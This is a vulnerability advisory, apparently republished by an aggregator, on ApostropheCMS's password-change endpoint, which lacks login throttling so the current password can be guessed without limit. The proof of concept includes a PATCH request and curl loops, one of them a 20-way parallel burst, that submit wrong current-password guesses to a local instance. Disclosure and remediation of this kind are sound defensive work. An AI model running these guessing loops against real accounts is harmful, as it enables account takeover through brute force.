Medium

ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing

  • Disclosed: 20.10.2026
  • Updated: 20.10.2026 21:33

Summary

The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

Exact source path

packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

The password-change route is: PATCH /api/v1/@apostrophecms/settings/password

The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );

The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

js
async handlePasswordProtectedSubform(req, subform, payload) {
  try {
    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
  } catch (e) {
    throw self.apos.error(
      'forbidden',
      'apostrophe:passwordCurrentError',
      { path: 'passwordCurrent' }
    );
  }
  return subform;
}

The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

Local PoC

The test used a disposable authenticated guest session against:

Request:

PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json

{
  "password": "new-temporary-password",
  "passwordRepeat": "new-temporary-password",
  "passwordCurrent": "definitely-wrong-current-password"
}

Equivalent command:

for i in 1 2 3 4 5; do
  time curl -i -sS \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{
      "password": "new-temporary-password",
      "passwordRepeat": "new-temporary-password",
      "passwordCurrent": "definitely-wrong-current-password"
    }'
done

Observed response All five attempts returned the same immediate validation response:

http
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {
    "path": "passwordCurrent"
  },
  "message": "apostrophe:passwordCurrentError"
}

Observed timings were approximately:

  • Attempt 1: 231 ms
  • Attempt 2: 232 ms
  • Attempt 3: 226 ms
  • Attempt 4: 229 ms
  • Attempt 5: 226 ms

No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.

bash
seq 1 20 | xargs -P 20 -I{} sh -c \
  "curl --max-time 15 -sS \
    -o /tmp/password-attempt-{}.body \
    -w '%{http_code}\\n' \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"

Result:

  • 20 requests -> HTTP 403 Forbidden
  • 0 requests -> HTTP 429 Too Many Requests
  • 0 requests -> lockout response

The valid password continued to authenticate afterward:

http
POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK

Impact

An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.

What to do

Upgrade apostrophe to version 4.33.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package apostrophe < 4.33.0 4.33.0

References

CVSS score 5.9/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-307
Platform
npm
Package
apostrophe
Disclosed
20.10.2026
Updated
20.10.2026 21:33

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-653j-g8j7-gh54 - CC BY 4.0

Vulnerability history: apostrophe

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (27) in the archive
Total entries
27
First → latest
09.2020 10.2026
Without a fix
4
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 8
  • Medium 13
  • Low 4

Disclosures per year

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Severity:
  1. ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing this entry
    Medium · 5.9 CVE-2026-113710 < 4.33.0 4.33.0
  2. High · 7.3 CVE-2026-45011 = 4.29.0 no fix
  3. Critical · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.